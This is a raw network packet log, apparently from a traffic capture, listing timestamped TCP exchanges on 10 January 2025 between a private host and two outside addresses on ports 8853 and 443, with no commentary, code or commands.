Jan 10, 2025 07:52:03.021982908 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:03.022056103 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:03.022069931 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:03.022085905 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:03.022119999 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:03.022144079 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:03.022339106 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:03.022361040 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:03.022373915 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:03.022391081 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:03.022402048 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:03.022412062 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:03.022422075 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:03.022437096 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:03.022458076 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:03.022458076 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:03.022768974 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:03.022784948 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:03.022799969 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:03.022849083 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:03.022849083 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:03.022979021 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:03.022989988 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:03.023010969 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:03.023053885 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:03.023053885 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:03.024621010 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:03.029457092 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:06.762914896 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:06.767797947 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:06.767865896 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:07.293586016 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:07.293622017 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:07.293683052 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:07.309861898 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:07.309876919 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:07.595038891 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.595108986 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.595120907 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.595238924 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.595258951 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:07.595295906 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.595308065 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.595324039 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.595344067 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:07.595516920 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:07.595525026 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.595536947 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.595547915 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.595602989 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:07.595602989 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:07.600161076 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.600172043 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.600183010 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.600204945 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.600228071 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:07.600270987 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:07.831820011 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.831876993 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.831902027 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.831926107 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.831939936 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.831949949 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:07.831958055 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.832021952 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:07.832021952 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:07.832212925 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.832389116 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.832402945 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.832417965 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.832442045 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:07.832467079 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:07.832487106 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.832971096 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.832986116 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.833002090 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.833030939 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:07.833100080 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.833122969 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.833138943 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.833146095 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:07.833172083 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:07.833800077 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.833851099 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.833867073 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.833908081 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:07.833928108 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:07.834028006 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.834043980 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.834059954 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:07.834108114 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:07.885670900 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:08.068509102 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.068555117 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.068564892 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.068715096 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:08.068716049 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.068727016 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.068774939 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:08.068820000 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.068830013 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.069001913 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.069010973 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.069027901 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.069207907 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.069214106 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:08.069214106 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:08.069214106 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:08.069217920 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.069441080 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.069459915 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.069474936 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.069564104 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:08.069564104 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:08.069598913 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.069647074 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.069663048 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.069670916 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.070154905 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.070219040 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.070235014 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.070296049 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:08.070296049 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:08.070296049 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:08.070296049 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:08.070348978 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.070368052 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.070384026 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.070393085 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.070677996 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.071077108 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.071120024 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.071127892 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.071171999 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:08.071171999 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:08.071171999 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:08.071171999 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:08.071324110 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.071333885 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.072763920 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:08.305186987 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.305242062 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.305262089 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.305299044 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.305339098 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:08.305393934 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.305401087 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:08.305413008 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.305432081 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.305550098 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.305558920 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:08.305588961 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.305610895 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.305680037 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:08.305680037 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:08.305711031 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.305720091 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.305773020 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:08.305859089 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.305905104 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.305912971 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.305955887 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:08.306054115 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.306062937 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.306077957 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.306087971 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.306117058 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:08.306129932 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:08.306423903 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.306556940 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.306565046 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.306607008 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:08.306607008 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:08.306629896 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.306638956 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.306646109 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.306653023 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.306700945 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:08.306700945 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:08.306859016 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.306866884 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.306881905 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.306890965 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.307332039 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:08.307332039 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:08.307420015 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.307509899 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:08.310364008 CET	49746	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:08.315181017 CET	8853	49746	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:08.690956116 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:08.691337109 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:08.692502975 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:08.693265915 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:08.779282093 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:08.779293060 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:08.780426979 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:08.780509949 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:08.785550117 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:08.827332973 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.125343084 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.125406027 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.125411987 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.125446081 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.125473022 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.125492096 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.125502110 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.125519037 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.125550032 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.125580072 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.212317944 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.212367058 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.212394953 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.212421894 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.212454081 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.212470055 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.215615034 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.215661049 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.215717077 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.215724945 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.215751886 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.215778112 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.304084063 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.304151058 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.304168940 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.304183006 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.304219007 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.304235935 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.305397987 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.305449963 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.305474997 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.305481911 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.305510044 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.305525064 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.307097912 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.307145119 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.307218075 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.307224989 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.307236910 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.307275057 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.309947968 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.309995890 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.310029030 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.310036898 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.310087919 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.310107946 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.396485090 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.396513939 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.396557093 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.396569967 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.396594048 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.396615028 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.397316933 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.397371054 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.397408962 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.397417068 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.397433996 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.397455931 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.398160934 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.398206949 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.398228884 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.398236036 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.398266077 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.398274899 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.399282932 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.399353027 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.399358034 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.399384022 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.399408102 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.399425030 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.400002003 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.400065899 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.400089025 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.400105953 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.400135040 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.400162935 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.405705929 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.405725956 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.405764103 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.405776978 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.405826092 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.405986071 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.415875912 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.415923119 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.415940046 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.415957928 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.415982962 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.415992975 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.488933086 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.489012957 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.489027023 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.489044905 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.489080906 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.489089012 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.489566088 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.489628077 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.489646912 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.489654064 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.489682913 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.489702940 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.490113020 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.490164042 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.490197897 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.490205050 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.490236044 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.490243912 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.491585016 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.491641998 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.491663933 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.491671085 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.491700888 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.491715908 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.491772890 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.491825104 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.491837978 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.491857052 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.491882086 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.491906881 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.492552042 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.492568970 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.492605925 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.492611885 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.492636919 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.492652893 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.591381073 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.591454983 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.591500998 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.591516972 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.591530085 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.594727993 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.600529909 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.600584030 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.600620985 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.600630045 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:09.600661993 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.600682020 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:09.611764908 CET	443	49751	47.79.66.76	192.168.2.9
